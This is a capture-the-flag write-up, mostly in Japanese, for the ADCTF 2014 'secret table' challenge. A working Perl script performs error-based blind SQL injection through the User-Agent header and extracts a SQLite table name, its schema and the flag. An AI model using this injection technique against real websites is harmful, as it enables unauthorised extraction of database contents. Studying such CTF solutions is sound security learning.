= secret table = == 問題 == Yes, you can do sqli. Find our secret table and get the flag. Sorry, I'm missing source code. secrettable.adctf2014.katsudon.org == メモ == == 解法 == エラーベースのブラインドSQLインジェクション。ユーザエージェントに徐ろに`' or ... -- `を流し込む。 エラーはゼロ除算で作り出す。SQLiteでは真偽値が0,1なので,判定式の結果で除算すれば良い。 次の操作で文字列を特定する。 1. 長さについて,半開区間[1, ∞)の探索を行う。区間を倍に増やしながら上の値を見つけて,その後に二分探索を行う。 2. それぞれの文字を二分探索で特定する。hexが便利。 {{{#!highlight perl #!/usr/bin/perl use strict; use warnings; my $url = "http://secrettable.adctf2014.katsudon.org/"; # my $target = "(select tbl_name from sqlite_master where type=='table' LIMIT 1,1)"; # => super_secret_flag__Ds7KLcV9 # my $target = "(select sql from sqlite_master where type=='table' LIMIT 1,1)"; # => CREATE TABLE super_secret_flag__Ds7KLcV9 (yo_yo_you_are_enjoying_blind_sqli TEXT) my $target = "(select yo_yo_you_are_enjoying_blind_sqli from super_secret_flag__Ds7KLcV9 LIMIT 0,1)"; # => ADCTF_ERR0r_hELP5_8L1nd_5Ql1 sub system_pipe { my @args = @_; open my $pipe, "-|", @args or return; my @result = <$pipe>; join "", @result; } sub try_access { my $ua = shift; #print "$ua\n"; # https://twitter.com/akiym/status/543794771018276865 # > sleep a few seconds, plz :) sleeping is awesome and don't be evil hacker! # yes, sir! sleep 2; my $result = system_pipe "curl", "-s", "-A", $ua, $url; if ($result =~ /secret table/) { # non error return 1; } else { return 0; } } sub is_char_greater_than { my $i = int shift; my $c = int shift; my $chex = sprintf "%02X", $c; print "? string[$i] > $c\n"; my $successed = try_access( "' or 1/(hex(substr($target, $i, 1)) > '$chex')) -- " ); return $successed; } sub is_length_greater_than { my $length = int(shift); print "? length > $length\n"; my $successed = try_access( "' or 1/(length($target) > $length)) -- " ); return $successed; } # [left, right] sub binsearch { my $left = shift; my $right = shift; my $cond_greater_than = shift; while ($left < $right) { my $mid = int(($left+$right)/2); if ($cond_greater_than->($mid)) { $left = $mid + 1; } else { $right = $mid; } } if ($left > $right) { return undef; } else { return $left; } } # [left, infinity) sub binsearch_halfopen { my $left = shift; my $cond_greater_than = shift; my $right = $left; while ($cond_greater_than->($right)) { $left = $right + 1; $right *= 2; } return binsearch($left, $right, $cond_greater_than); } my $length = binsearch_halfopen(1, \&is_length_greater_than); die unless defined $length; print "length: $length\n"; my $s = ""; for my $i (1..$length) { my $c = binsearch(0x00, 0xff, sub { is_char_greater_than($i, shift) }); die unless defined $c; $s .= chr($c); } print "string: $s\n"; }}}